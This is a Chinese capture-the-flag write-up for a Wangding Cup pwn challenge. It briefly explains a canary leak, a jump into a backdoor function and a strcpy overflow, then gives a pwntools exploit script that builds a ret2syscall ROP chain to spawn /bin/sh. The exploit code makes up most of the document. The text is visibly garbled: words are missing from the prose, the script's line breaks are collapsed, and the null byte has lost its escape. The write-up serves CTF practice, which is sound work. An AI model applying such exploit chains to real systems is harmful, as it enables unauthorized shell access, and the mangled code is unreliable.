网鼎杯-玄武组

拿到附件发现是静态编译且没有符号表，自己 一下，结合汇编摸清楚程序逻辑， patch 程序会先从 401931 一半的地方跳转到 4019E9 ，可以泄露出 canary

紧接着的 设置 read rbp-0x28 处的值，使其跳转到 0x4019d2

最后进入 backdoor 

backdoor cpy 里有 ，能够造成溢出，而且是静态编译，收集信息构造 ret2syscall

EXP如下：

from pwn import * # r = process('./pwn') r = remote('',) context.log_level = 'debug' r.recvuntil(b": ")  # 确保接收的内容是字节canary = int(r.recvline(), 16) r.recvline() # 修改这行，确保发送的是 bytes r.send(b"a" * 0x28 + p32(1) + b"a" * 0x10) r.recvline() r.send(b"0")  # 发送的内容是字节r.recvline() r.send(b"b" * 0x70)  # 发送的内容是字节r.recvline() #gdb.attach(r,"b *0x40213f") # ROP gadgets 地址pop_rdi = 0x40213f pop_rsi = 0x40a1ae pop_rdx_rbx = 0x485feb pop_rax = 0x450277 syscall = 0x41AC26 # 构建 payload，确保所有字符串都是 bytes payload = b""  # 创建一个字节串payload += b"a" * 0x64 + p32(0x11111111) + b"a" * 0x90 + p64(canary) + b"a" * 0x8 + p64(canary) + b"a" * 0x8 payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x4c5000) + p64(pop_rdx_rbx) + p64(0x8) + p64(0) + p64(pop_rax) + p64(0) + p64(syscall) payload += p64(pop_rdi) + p64(0x4c5000) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall) # 发送 payload r.send(payload)sleep(0.5) # 发送命令以获得 shell r.send(b"/bin/shx00")  # 确保发送的内容是字节r.interactive()

END